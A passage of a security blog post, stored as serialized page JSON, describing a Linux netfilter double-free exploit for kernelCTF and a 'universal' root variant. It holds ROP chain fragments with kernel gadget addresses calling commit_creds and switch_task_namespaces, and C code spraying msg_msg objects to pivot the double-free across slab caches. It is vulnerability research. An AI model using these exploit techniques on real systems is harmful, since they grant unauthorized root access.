ret;\n",{"type":24,"tag":147,"props":62504,"children":62505},{"class":149,"line":178},[62506,62510,62514,62518,62522,62526,62530,62534],{"type":24,"tag":147,"props":62507,"children":62508},{"style":247},[62509],{"type":29,"value":61757},{"type":24,"tag":147,"props":62511,"children":62512},{"style":235},[62513],{"type":29,"value":62272},{"type":24,"tag":147,"props":62515,"children":62516},{"style":241},[62517],{"type":29,"value":56862},{"type":24,"tag":147,"props":62519,"children":62520},{"style":235},[62521],{"type":29,"value":14286},{"type":24,"tag":147,"props":62523,"children":62524},{"style":241},[62525],{"type":29,"value":369},{"type":24,"tag":147,"props":62527,"children":62528},{"style":235},[62529],{"type":29,"value":61778},{"type":24,"tag":147,"props":62531,"children":62532},{"style":241},[62533],{"type":29,"value":624},{"type":24,"tag":147,"props":62535,"children":62536},{"style":235},[62537],{"type":29,"value":62538}," INIT_CRED;\n",{"type":24,"tag":147,"props":62540,"children":62541},{"class":149,"line":187},[62542,62546,62550,62554,62558,62562,62566,62570],{"type":24,"tag":147,"props":62543,"children":62544},{"style":247},[62545],{"type":29,"value":61757},{"type":24,"tag":147,"props":62547,"children":62548},{"style":235},[62549],{"type":29,"value":62272},{"type":24,"tag":147,"props":62551,"children":62552},{"style":241},[62553],{"type":29,"value":56862},{"type":24,"tag":147,"props":62555,"children":62556},{"style":235},[62557],{"type":29,"value":14286},{"type":24,"tag":147,"props":62559,"children":62560},{"style":241},[62561],{"type":29,"value":369},{"type":24,"tag":147,"props":62563,"children":62564},{"style":235},[62565],{"type":29,"value":61778},{"type":24,"tag":147,"props":62567,"children":62568},{"style":241},[62569],{"type":29,"value":624},{"type":24,"tag":147,"props":62571,"children":62572},{"style":235},[62573],{"type":29,"value":62574}," COMMIT_CREDS;\n",{"type":24,"tag":147,"props":62576,"children":62577},{"class":149,"line":196},[62578],{"type":24,"tag":147,"props":62579,"children":62580},{"emptyLinePlaceholder":16},[62581],{"type":29,"value":314},{"type":24,"tag":147,"props":62583,"children":62584},{"class":149,"line":205},[62585],{"type":24,"tag":147,"props":62586,"children":62587},{"style":154},[62588],{"type":29,"value":62589},"    // task = find_task_by_vpid(1);\n",{"type":24,"tag":147,"props":62591,"children":62592},{"class":149,"line":214},[62593,62597,62601,62605,62609,62613,62617,62621,62625,62629],{"type":24,"tag":147,"props":62594,"children":62595},{"style":247},[62596],{"type":29,"value":61757},{"type":24,"tag":147,"props":62598,"children":62599},{"style":235},[62600],{"type":29,"value":62272},{"type":24,"tag":147,"props":62602,"children":62603},{"style":241},[62604],{"type":29,"value":56862},{"type":24,"tag":147,"props":62606,"children":62607},{"style":235},[62608],{"type":29,"value":14286},{"type":24,"tag":147,"props":62610,"children":62611},{"style":241},[62612],{"type":29,"value":369},{"type":24,"tag":147,"props":62614,"children":62615},{"style":235},[62616],{"type":29,"value":61778},{"type":24,"tag":147,"props":62618,"children":62619},{"style":241},[62620],{"type":29,"value":624},{"type":24,"tag":147,"props":62622,"children":62623},{"style":705},[62624],{"type":29,"value":62493},{"type":24,"tag":147,"props":62626,"children":62627},{"style":235},[62628],{"type":29,"value":54672},{"type":24,"tag":147,"props":62630,"children":62631},{"style":154},[62632],{"type":29,"value":62502},{"type":24,"tag":147,"props":62634,"children":62635},{"class":149,"line":272},[62636,62640,62644,62648,62652,62656,62660],{"type":24,"tag":147,"props":62637,"children":62638},{"style":247},[62639],{"type":29,"value":61757},{"type":24,"tag":147,"props":62641,"children":62642},{"style":235},[62643],{"type":29,"value":62272},{"type":24,"tag":147,"props":62645,"children":62646},{"style":241},[62647],{"type":29,"value":56862},{"type":24,"tag":147,"props":62649,"children":62650},{"style":235},[62651],{"type":29,"value":14286},{"type":24,"tag":147,"props":62653,"children":62654},{"style":241},[62655],{"type":29,"value":369},{"type":24,"tag":147,"props":62657,"children":62658},{"style":705},[62659],{"type":29,"value":10147},{"type":24,"tag":147,"props":62661,"children":62662},{"style":235},[62663],{"type":29,"value":432},{"type":24,"tag":147,"props":62665,"children":62666},{"class":149,"line":281},[62667,62671,62675,62679,62683,62687,62691,62695],{"type":24,"tag":147,"props":62668,"children":62669},{"style":247},[62670],{"type":29,"value":61757},{"type":24,"tag":147,"props":62672,"children":62673},{"style":235},[62674],{"type":29,"value":62272},{"type":24,"tag":147,"props":62676,"children":62677},{"style":241},[62678],{"type":29,"value":56862},{"type":24,"tag":147,"props":62680,"children":62681},{"style":235},[62682],{"type":29,"value":14286},{"type":24,"tag":147,"props":62684,"children":62685},{"style":241},[62686],{"type":29,"value":369},{"type":24,"tag":147,"props":62688,"children":62689},{"style":235},[62690],{"type":29,"value":61778},{"type":24,"tag":147,"props":62692,"children":62693},{"style":241},[62694],{"type":29,"value":624},{"type":24,"tag":147,"props":62696,"children":62697},{"style":235},[62698],{"type":29,"value":62699}," FIND_TASK_BY_VPID;\n",{"type":24,"tag":147,"props":62701,"children":62702},{"class":149,"line":299},[62703,62707,62711,62715,62719,62723,62727,62731,62736,62740],{"type":24,"tag":147,"props":62704,"children":62705},{"style":247},[62706],{"type":29,"value":61757},{"type":24,"tag":147,"props":62708,"children":62709},{"style":235},[62710],{"type":29,"value":62272},{"type":24,"tag":147,"props":62712,"children":62713},{"style":241},[62714],{"type":29,"value":56862},{"type":24,"tag":147,"props":62716,"children":62717},{"style":235},[62718],{"type":29,"value":14286},{"type":24,"tag":147,"props":62720,"children":62721},{"style":241},[62722],{"type":29,"value":369},{"type":24,"tag":147,"props":62724,"children":62725},{"style":235},[62726],{"type":29,"value":61778},{"type":24,"tag":147,"props":62728,"children":62729},{"style":241},[62730],{"type":29,"value":624},{"type":24,"tag":147,"props":62732,"children":62733},{"style":705},[62734],{"type":29,"value":62735}," 0xffffffff8102e2a6",{"type":24,"tag":147,"props":62737,"children":62738},{"style":235},[62739],{"type":29,"value":54672},{"type":24,"tag":147,"props":62741,"children":62742},{"style":154},[62743],{"type":29,"value":62744}," // pop rsi; ret;\n",{"type":24,"tag":147,"props":62746,"children":62747},{"class":149,"line":308},[62748,62752,62756,62760,62764,62768,62773,62777,62782,62786,62791,62795],{"type":24,"tag":147,"props":62749,"children":62750},{"style":247},[62751],{"type":29,"value":61757},{"type":24,"tag":147,"props":62753,"children":62754},{"style":235},[62755],{"type":29,"value":62272},{"type":24,"tag":147,"props":62757,"children":62758},{"style":241},[62759],{"type":29,"value":56862},{"type":24,"tag":147,"props":62761,"children":62762},{"style":235},[62763],{"type":29,"value":14286},{"type":24,"tag":147,"props":62765,"children":62766},{"style":241},[62767],{"type":29,"value":369},{"type":24,"tag":147,"props":62769,"children":62770},{"style":235},[62771],{"type":29,"value":62772}," obj_ptr ",{"type":24,"tag":147,"props":62774,"children":62775},{"style":241},[62776],{"type":29,"value":624},{"type":24,"tag":147,"props":62778,"children":62779},{"style":705},[62780],{"type":29,"value":62781}," 0xe0",{"type":24,"tag":147,"props":62783,"children":62784},{"style":241},[62785],{"type":29,"value":1791},{"type":24,"tag":147,"props":62787,"children":62788},{"style":705},[62789],{"type":29,"value":62790}," 0x66",{"type":24,"tag":147,"props":62792,"children":62793},{"style":235},[62794],{"type":29,"value":54672},{"type":24,"tag":147,"props":62796,"children":62797},{"style":154},[62798],{"type":29,"value":62799},"            // rax -> rdi and resume rop\n",{"type":24,"tag":147,"props":62801,"children":62802},{"class":149,"line":317},[62803,62807,62811,62815,62819,62823,62827,62831,62836,62840],{"type":24,"tag":147,"props":62804,"children":62805},{"style":247},[62806],{"type":29,"value":61757},{"type":24,"tag":147,"props":62808,"children":62809},{"style":235},[62810],{"type":29,"value":62272},{"type":24,"tag":147,"props":62812,"children":62813},{"style":241},[62814],{"type":29,"value":56862},{"type":24,"tag":147,"props":62816,"children":62817},{"style":235},[62818],{"type":29,"value":14286},{"type":24,"tag":147,"props":62820,"children":62821},{"style":241},[62822],{"type":29,"value":369},{"type":24,"tag":147,"props":62824,"children":62825},{"style":235},[62826],{"type":29,"value":61778},{"type":24,"tag":147,"props":62828,"children":62829},{"style":241},[62830],{"type":29,"value":624},{"type":24,"tag":147,"props":62832,"children":62833},{"style":705},[62834],{"type":29,"value":62835}," 0xffffffff81caed31",{"type":24,"tag":147,"props":62837,"children":62838},{"style":235},[62839],{"type":29,"value":54672},{"type":24,"tag":147,"props":62841,"children":62842},{"style":154},[62843],{"type":29,"value":62844}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":24,"tag":147,"props":62846,"children":62847},{"class":149,"line":332},[62848],{"type":24,"tag":147,"props":62849,"children":62850},{"emptyLinePlaceholder":16},[62851],{"type":29,"value":314},{"type":24,"tag":147,"props":62853,"children":62854},{"class":149,"line":350},[62855],{"type":24,"tag":147,"props":62856,"children":62857},{"style":154},[62858],{"type":29,"value":62859},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":24,"tag":147,"props":62861,"children":62862},{"class":149,"line":358},[62863,62867,62871,62875,62879,62883,62887,62891,62895,62899],{"type":24,"tag":147,"props":62864,"children":62865},{"style":247},[62866],{"type":29,"value":61757},{"type":24,"tag":147,"props":62868,"children":62869},{"style":235},[62870],{"type":29,"value":62272},{"type":24,"tag":147,"props":62872,"children":62873},{"style":241},[62874],{"type":29,"value":56862},{"type":24,"tag":147,"props":62876,"children":62877},{"style":235},[62878],{"type":29,"value":14286},{"type":24,"tag":147,"props":62880,"children":62881},{"style":241},[62882],{"type":29,"value":369},{"type":24,"tag":147,"props":62884,"children":62885},{"style":235},[62886],{"type":29,"value":61778},{"type":24,"tag":147,"props":62888,"children":62889},{"style":241},[62890],{"type":29,"value":624},{"type":24,"tag":147,"props":62892,"children":62893},{"style":705},[62894],{"type":29,"value":62735},{"type":24,"tag":147,"props":62896,"children":62897},{"style":235},[62898],{"type":29,"value":54672},{"type":24,"tag":147,"props":62900,"children":62901},{"style":154},[62902],{"type":29,"value":62744},{"type":24,"tag":147,"props":62904,"children":62905},{"class":149,"line":397},[62906,62910,62914,62918,62922,62926,62930,62934],{"type":24,"tag":147,"props":62907,"children":62908},{"style":247},[62909],{"type":29,"value":61757},{"type":24,"tag":147,"props":62911,"children":62912},{"style":235},[62913],{"type":29,"value":62272},{"type":24,"tag":147,"props":62915,"children":62916},{"style":241},[62917],{"type":29,"value":56862},{"type":24,"tag":147,"props":62919,"children":62920},{"style":235},[62921],{"type":29,"value":14286},{"type":24,"tag":147,"props":62923,"children":62924},{"style":241},[62925],{"type":29,"value":369},{"type":24,"tag":147,"props":62927,"children":62928},{"style":235},[62929],{"type":29,"value":61778},{"type":24,"tag":147,"props":62931,"children":62932},{"style":241},[62933],{"type":29,"value":624},{"type":24,"tag":147,"props":62935,"children":62936},{"style":235},[62937],{"type":29,"value":62938}," INIT_NSPROXY;\n",{"type":24,"tag":147,"props":62940,"children":62941},{"class":149,"line":421},[62942,62946,62950,62954,62958,62962,62966,62970],{"type":24,"tag":147,"props":62943,"children":62944},{"style":247},[62945],{"type":29,"value":61757},{"type":24,"tag":147,"props":62947,"children":62948},{"style":235},[62949],{"type":29,"value":62272},{"type":24,"tag":147,"props":62951,"children":62952},{"style":241},[62953],{"type":29,"value":56862},{"type":24,"tag":147,"props":62955,"children":62956},{"style":235},[62957],{"type":29,"value":14286},{"type":24,"tag":147,"props":62959,"children":62960},{"style":241},[62961],{"type":29,"value":369},{"type":24,"tag":147,"props":62963,"children":62964},{"style":235},[62965],{"type":29,"value":61778},{"type":24,"tag":147,"props":62967,"children":62968},{"style":241},[62969],{"type":29,"value":624},{"type":24,"tag":147,"props":62971,"children":62972},{"style":235},[62973],{"type":29,"value":62974}," SWITCH_TASK_NAMESPACES;\n",{"type":24,"tag":147,"props":62976,"children":62977},{"class":149,"line":435},[62978],{"type":24,"tag":147,"props":62979,"children":62980},{"style":235},[62981],{"type":29,"value":15939},{"type":24,"tag":43,"props":62983,"children":62985},{"id":62984},"grabbing-the-kernelctf-flag",[62986],{"type":29,"value":62987},"Grabbing the kernelCTF flag",{"type":24,"tag":25,"props":62989,"children":62990},{},[62991,62995,62997,63004],{"type":24,"tag":63,"props":62992,"children":62994},{"alt":56176,"src":62993},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":62996},"\nYou can find the kernelCTF exploit in our ",{"type":24,"tag":2773,"props":62998,"children":63001},{"href":62999,"rel":63000},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[2777],[63002],{"type":29,"value":63003},"GitHub",{"type":29,"value":87},{"type":24,"tag":32,"props":63006,"children":63008},{"id":63007},"universal-exploit",[63009],{"type":29,"value":63010},"Universal exploit",{"type":24,"tag":25,"props":63012,"children":63013},{},[63014],{"type":29,"value":63015},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":24,"tag":43,"props":63017,"children":63019},{"id":63018},"pivot-capability-using-msg_msg-mlistnext-pointer",[63020],{"type":29,"value":63021},"Pivot capability using msg_msg->mlist.next pointer",{"type":24,"tag":25,"props":63023,"children":63024},{},[63025,63027,63033,63035,63040,63042,63048],{"type":29,"value":63026},"Using the double-free vulnerability we can overlap a ",{"type":24,"tag":80,"props":63028,"children":63030},{"className":63029},[],[63031],{"type":29,"value":63032},"msg_msg",{"type":29,"value":63034}," object with with ",{"type":24,"tag":80,"props":63036,"children":63038},{"className":63037},[],[63039],{"type":29,"value":60688},{"type":29,"value":63041}," and control the ",{"type":24,"tag":80,"props":63043,"children":63045},{"className":63044},[],[63046],{"type":29,"value":63047},"m_list.next",{"type":29,"value":63049}," pointer.",{"type":24,"tag":137,"props":63051,"children":63053},{"className":34712,"code":63052,"language":34714,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[63054],{"type":24,"tag":80,"props":63055,"children":63056},{"__ignoreMap":7},[63057,63065,63081,63102,63115,63133,63157,63173,63181,63188,63195,63203,63235],{"type":24,"tag":147,"props":63058,"children":63059},{"class":149,"line":150},[63060],{"type":24,"tag":147,"props":63061,"children":63062},{"style":154},[63063],{"type":29,"value":63064},"/* one msg_msg structure for each message */\n",{"type":24,"tag":147,"props":63066,"children":63067},{"class":149,"line":160},[63068,63072,63077],{"type":24,"tag":147,"props":63069,"children":63070},{"style":218},[63071],{"type":29,"value":993},{"type":24,"tag":147,"props":63073,"children":63074},{"style":9044},[63075],{"type":29,"value":63076}," msg_msg",{"type":24,"tag":147,"props":63078,"children":63079},{"style":235},[63080],{"type":29,"value":6630},{"type":24,"tag":147,"props":63082,"children":63083},{"class":149,"line":169},[63084,63088,63093,63098],{"type":24,"tag":147,"props":63085,"children":63086},{"style":218},[63087],{"type":29,"value":26753},{"type":24,"tag":147,"props":63089,"children":63090},{"style":9044},[63091],{"type":29,"value":63092}," list_head",{"type":24,"tag":147,"props":63094,"children":63095},{"style":247},[63096],{"type":29,"value":63097}," m_list",{"type":24,"tag":147,"props":63099,"children":63100},{"style":235},[63101],{"type":29,"value":432},{"type":24,"tag":147,"props":63103,"children":63104},{"class":149,"line":178},[63105,63110],{"type":24,"tag":147,"props":63106,"children":63107},{"style":218},[63108],{"type":29,"value":63109}," long",{"type":24,"tag":147,"props":63111,"children":63112},{"style":235},[63113],{"type":29,"value":63114}," m_type;\n",{"type":24,"tag":147,"props":63116,"children":63117},{"class":149,"line":187},[63118,63123,63128],{"type":24,"tag":147,"props":63119,"children":63120},{"style":218},[63121],{"type":29,"value":63122}," size_t",{"type":24,"tag":147,"props":63124,"children":63125},{"style":235},[63126],{"type":29,"value":63127}," m_ts;",{"type":24,"tag":147,"props":63129,"children":63130},{"style":154},[63131],{"type":29,"value":63132},"  /* message text size */\n",{"type":24,"tag":147,"props":63134,"children":63135},{"class":149,"line":196},[63136,63140,63145,63149,63153],{"type":24,"tag":147,"props":63137,"children":63138},{"style":218},[63139],{"type":29,"value":26753},{"type":24,"tag":147,"props":63141,"children":63142},{"style":9044},[63143],{"type":29,"value":63144}," msg_msgseg",{"type":24,"tag":147,"props":63146,"children":63147},{"style":218},[63148],{"type":29,"value":1263},{"type":24,"tag":147,"props":63150,"children":63151},{"style":247},[63152],{"type":29,"value":5817},{"type":24,"tag":147,"props":63154,"children":63155},{"style":235},[63156],{"type":29,"value":432},{"type":24,"tag":147,"props":63158,"children":63159},{"class":149,"line":205},[63160,63164,63168],{"type":24,"tag":147,"props":63161,"children":63162},{"style":218},[63163],{"type":29,"value":226},{"type":24,"tag":147,"props":63165,"children":63166},{"style":241},[63167],{"type":29,"value":1263},{"type":24,"tag":147,"props":63169,"children":63170},{"style":235},[63171],{"type":29,"value":63172},"security;\n",{"type":24,"tag":147,"props":63174,"children":63175},{"class":149,"line":214},[63176],{"type":24,"tag":147,"props":63177,"children":63178},{"style":154},[63179],{"type":29,"value":63180}," /* the actual message follows immediately */\n",{"type":24,"tag":147,"props":63182,"children":63183},{"class":149,"line":272},[63184],{"type":24,"tag":147,"props":63185,"children":63186},{"style":235},[63187],{"type":29,"value":1120},{"type":24,"tag":147,"props":63189,"children":63190},{"class":149,"line":281},[63191],{"type":24,"tag":147,"props":63192,"children":63193},{"style":235},[63194],{"type":29,"value":15939},{"type":24,"tag":147,"props":63196,"children":63197},{"class":149,"line":299},[63198],{"type":24,"tag":147,"props":63199,"children":63200},{"style":235},[63201],{"type":29,"value":63202},"struct list_head {\n",{"type":24,"tag":147,"props":63204,"children":63205},{"class":149,"line":308},[63206,63210,63214,63218,63222,63226,63230],{"type":24,"tag":147,"props":63207,"children":63208},{"style":218},[63209],{"type":29,"value":26753},{"type":24,"tag":147,"props":63211,"children":63212},{"style":9044},[63213],{"type":29,"value":63092},{"type":24,"tag":147,"props":63215,"children":63216},{"style":218},[63217],{"type":29,"value":1263},{"type":24,"tag":147,"props":63219,"children":63220},{"style":247},[63221],{"type":29,"value":5817},{"type":24,"tag":147,"props":63223,"children":63224},{"style":235},[63225],{"type":29,"value":546},{"type":24,"tag":147,"props":63227,"children":63228},{"style":241},[63229],{"type":29,"value":244},{"type":24,"tag":147,"props":63231,"children":63232},{"style":235},[63233],{"type":29,"value":63234},"prev;\n",{"type":24,"tag":147,"props":63236,"children":63237},{"class":149,"line":317},[63238],{"type":24,"tag":147,"props":63239,"children":63240},{"style":235},[63241],{"type":29,"value":1120},{"type":24,"tag":25,"props":63243,"children":63244},{},[63245,63247,63253,63255,63260],{"type":29,"value":63246},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":24,"tag":80,"props":63248,"children":63250},{"className":63249},[],[63251],{"type":29,"value":63252},"mlist.next",{"type":29,"value":63254}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":24,"tag":80,"props":63256,"children":63258},{"className":63257},[],[63259],{"type":29,"value":63032},{"type":29,"value":63261}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":24,"tag":25,"props":63263,"children":63264},{},[63265,63267,63272,63274],{"type":29,"value":63266},"By incrementing the next pointer of our controllable ",{"type":24,"tag":80,"props":63268,"children":63270},{"className":63269},[],[63271],{"type":29,"value":63032},{"type":29,"value":63273}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":24,"tag":63,"props":63275,"children":63277},{"alt":56176,"src":63276},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":24,"tag":137,"props":63279,"children":63281},{"className":34712,"code":63280,"language":34714,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[63282],{"type":24,"tag":80,"props":63283,"children":63284},{"__ignoreMap":7},[63285,63292,63300,63326,63343,63391,63398,63438,63470,63477,63498,63505,63551,63615,63641,63687,63711,63755,63762,63770,63806,63830,63837,63857,63864],{"type":24,"tag":147,"props":63286,"children":63287},{"class":149,"line":150},[63288],{"type":24,"tag":147,"props":63289,"children":63290},{"style":235},[63291],{"type":29,"value":15939},{"type":24,"tag":147,"props":63293,"children":63294},{"class":149,"line":160},[63295],{"type":24,"tag":147,"props":63296,"children":63297},{"style":235},[63298],{"type":29,"value":63299},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":24,"tag":147,"props":63301,"children":63302},{"class":149,"line":169},[63303,63308,63312,63316,63321],{"type":24,"tag":147,"props":63304,"children":63305},{"style":235},[63306],{"type":29,"value":63307},"    msg_t *msg = calloc(1, ",{"type":24,"tag":147,"props":63309,"children":63310},{"style":9044},[63311],{"type":29,"value":384},{"type":24,"tag":147,"props":63313,"children":63314},{"style":235},[63315],{"type":29,"value":480},{"type":24,"tag":147,"props":63317,"children":63318},{"style":9044},[63319],{"type":29,"value":63320},"msg_t",{"type":24,"tag":147,"props":63322,"children":63323},{"style":235},[63324],{"type":29,"value":63325},") + 0xe8 - 48);\n",{"type":24,"tag":147,"props":63327,"children":63328},{"class":149,"line":178},[63329,63333,63338],{"type":24,"tag":147,"props":63330,"children":63331},{"style":218},[63332],{"type":29,"value":4499},{"type":24,"tag":147,"props":63334,"children":63335},{"style":247},[63336],{"type":29,"value":63337}," qid",{"type":24,"tag":147,"props":63339,"children":63340},{"style":235},[63341],{"type":29,"value":63342},"[SPRAY];\n",{"type":24,"tag":147,"props":63344,"children":63345},{"class":149,"line":187},[63346,63350,63354,63358,63362,63366,63370,63374,63378,63383,63387],{"type":24,"tag":147,"props":63347,"children":63348},{"style":321},[63349],{"type":29,"value":324},{"type":24,"tag":147,"props":63351,"children":63352},{"style":235},[63353],{"type":29,"value":408},{"type":24,"tag":147,"props":63355,"children":63356},{"style":218},[63357],{"type":29,"value":1276},{"type":24,"tag":147,"props":63359,"children":63360},{"style":235},[63361],{"type":29,"value":60133},{"type":24,"tag":147,"props":63363,"children":63364},{"style":241},[63365],{"type":29,"value":369},{"type":24,"tag":147,"props":63367,"children":63368},{"style":705},[63369],{"type":29,"value":708},{"type":24,"tag":147,"props":63371,"children":63372},{"style":235},[63373],{"type":29,"value":56827},{"type":24,"tag":147,"props":63375,"children":63376},{"style":241},[63377],{"type":29,"value":3583},{"type":24,"tag":147,"props":63379,"children":63380},{"style":235},[63381],{"type":29,"value":63382}," SPRAY; i",{"type":24,"tag":147,"props":63384,"children":63385},{"style":241},[63386],{"type":29,"value":56862},{"type":24,"tag":147,"props":63388,"children":63389},{"style":235},[63390],{"type":29,"value":269},{"type":24,"tag":147,"props":63392,"children":63393},{"class":149,"line":196},[63394],{"type":24,"tag":147,"props":63395,"children":63396},{"style":235},[63397],{"type":29,"value":3079},{"type":24,"tag":147,"props":63399,"children":63400},{"class":149,"line":205},[63401,63406,63410,63414,63419,63424,63429,63433],{"type":24,"tag":147,"props":63402,"children":63403},{"style":247},[63404],{"type":29,"value":63405},"        qid",{"type":24,"tag":147,"props":63407,"children":63408},{"style":235},[63409],{"type":29,"value":60185},{"type":24,"tag":147,"props":63411,"children":63412},{"style":241},[63413],{"type":29,"value":369},{"type":24,"tag":147,"props":63415,"children":63416},{"style":229},[63417],{"type":29,"value":63418}," msgget",{"type":24,"tag":147,"props":63420,"children":63421},{"style":235},[63422],{"type":29,"value":63423},"(IPC_PRIVATE, ",{"type":24,"tag":147,"props":63425,"children":63426},{"style":705},[63427],{"type":29,"value":63428},"0666",{"type":24,"tag":147,"props":63430,"children":63431},{"style":241},[63432],{"type":29,"value":9895},{"type":24,"tag":147,"props":63434,"children":63435},{"style":235},[63436],{"type":29,"value":63437}," IPC_CREAT);\n",{"type":24,"tag":147,"props":63439,"children":63440},{"class":149,"line":214},[63441,63445,63449,63454,63458,63462,63466],{"type":24,"tag":147,"props":63442,"children":63443},{"style":321},[63444],{"type":29,"value":403},{"type":24,"tag":147,"props":63446,"children":63447},{"style":235},[63448],{"type":29,"value":408},{"type":24,"tag":147,"props":63450,"children":63451},{"style":247},[63452],{"type":29,"value":63453},"qid",{"type":24,"tag":147,"props":63455,"children":63456},{"style":235},[63457],{"type":29,"value":60185},{"type":24,"tag":147,"props":63459,"children":63460},{"style":241},[63461],{"type":29,"value":3583},{"type":24,"tag":147,"props":63463,"children":63464},{"style":705},[63465],{"type":29,"value":708},{"type":24,"tag":147,"props":63467,"children":63468},{"style":235},[63469],{"type":29,"value":269},{"type":24,"tag":147,"props":63471,"children":63472},{"class":149,"line":272},[63473],{"type":24,"tag":147,"props":63474,"children":63475},{"style":235},[63476],{"type":29,"value":37259},{"type":24,"tag":147,"props":63478,"children":63479},{"class":149,"line":281},[63480,63485,63489,63494],{"type":24,"tag":147,"props":63481,"children":63482},{"style":229},[63483],{"type":29,"value":63484},"            perror",{"type":24,"tag":147,"props":63486,"children":63487},{"style":235},[63488],{"type":29,"value":480},{"type":24,"tag":147,"props":63490,"children":63491},{"style":3534},[63492],{"type":29,"value":63493},"\"[-] msgget\"",{"type":24,"tag":147,"props":63495,"children":63496},{"style":235},[63497],{"type":29,"value":1473},{"type":24,"tag":147,"props":63499,"children":63500},{"class":149,"line":299},[63501],{"type":24,"tag":147,"props":63502,"children":63503},{"style":235},[63504],{"type":29,"value":441},{"type":24,"tag":147,"props":63506,"children":63507},{"class":149,"line":308},[63508,63512,63516,63520,63524,63528,63533,63537,63542,63546],{"type":24,"tag":147,"props":63509,"children":63510},{"style":241},[63511],{"type":29,"value":13377},{"type":24,"tag":147,"props":63513,"children":63514},{"style":235},[63515],{"type":29,"value":480},{"type":24,"tag":147,"props":63517,"children":63518},{"style":218},[63519],{"type":29,"value":2184},{"type":24,"tag":147,"props":63521,"children":63522},{"style":241},[63523],{"type":29,"value":1263},{"type":24,"tag":147,"props":63525,"children":63526},{"style":235},[63527],{"type":29,"value":8758},{"type":24,"tag":147,"props":63529,"children":63530},{"style":247},[63531],{"type":29,"value":63532},"msg",{"type":24,"tag":147,"props":63534,"children":63535},{"style":235},[63536],{"type":29,"value":495},{"type":24,"tag":147,"props":63538,"children":63539},{"style":247},[63540],{"type":29,"value":63541},"mtext",{"type":24,"tag":147,"props":63543,"children":63544},{"style":241},[63545],{"type":29,"value":651},{"type":24,"tag":147,"props":63547,"children":63548},{"style":235},[63549],{"type":29,"value":63550}," i;\n",{"type":24,"tag":147,"props":63552,"children":63553},{"class":149,"line":317},[63554,63558,63562,63566,63570,63574,63578,63582,63586,63590,63594,63598,63602,63606,63611],{"type":24,"tag":147,"props":63555,"children":63556},{"style":241},[63557],{"type":29,"value":13377},{"type":24,"tag":147,"props":63559,"children":63560},{"style":235},[63561],{"type":29,"value":480},{"type":24,"tag":147,"props":63563,"children":63564},{"style":218},[63565],{"type":29,"value":61222},{"type":24,"tag":147,"props":63567,"children":63568},{"style":241},[63569],{"type":29,"value":1263},{"type":24,"tag":147,"props":63571,"children":63572},{"style":235},[63573],{"type":29,"value":8758},{"type":24,"tag":147,"props":63575,"children":63576},{"style":241},[63577],{"type":29,"value":485},{"type":24,"tag":147,"props":63579,"children":63580},{"style":247},[63581],{"type":29,"value":63532},{"type":24,"tag":147,"props":63583,"children":63584},{"style":235},[63585],{"type":29,"value":495},{"type":24,"tag":147,"props":63587,"children":63588},{"style":247},[63589],{"type":29,"value":63541},{"type":24,"tag":147,"props":63591,"children":63592},{"style":235},[63593],{"type":29,"value":9358},{"type":24,"tag":147,"props":63595,"children":63596},{"style":705},[63597],{"type":29,"value":9700},{"type":24,"tag":147,"props":63599,"children":63600},{"style":235},[63601],{"type":29,"value":14286},{"type":24,"tag":147,"props":63603,"children":63604},{"style":241},[63605],{"type":29,"value":369},{"type":24,"tag":147,"props":63607,"children":63608},{"style":705},[63609],{"type":29,"value":63610}," 0xdeadbeefcafebabe",{"type":24,"tag":147,"props":63612,"children":63613},{"style":235},[63614],{"type":29,"value":432},{"type":24,"tag":147,"props":63616,"children":63617},{"class":149,"line":332},[63618,63623,63627,63632,63636],{"type":24,"tag":147,"props":63619,"children":63620},{"style":247},[63621],{"type":29,"value":63622},"        msg",{"type":24,"tag":147,"props":63624,"children":63625},{"style":235},[63626],{"type":29,"value":495},{"type":24,"tag":147,"props":63628,"children":63629},{"style":247},[63630],{"type":29,"value":63631},"mtype",{"type":24,"tag":147,"props":63633,"children":63634},{"style":241},[63635],{"type":29,"value":651},{"type":24,"tag":147,"props":63637,"children":63638},{"style":235},[63639],{"type":29,"value":63640}," MTYPE_PRIMARY;\n",{"type":24,"tag":147,"props":63642,"children":63643},{"class":149,"line":350},[63644,63649,63653,63657,63662,63666,63670,63675,63679,63683],{"type":24,"tag":147,"props":63645,"children":63646},{"style":229},[63647],{"type":29,"value":63648},"        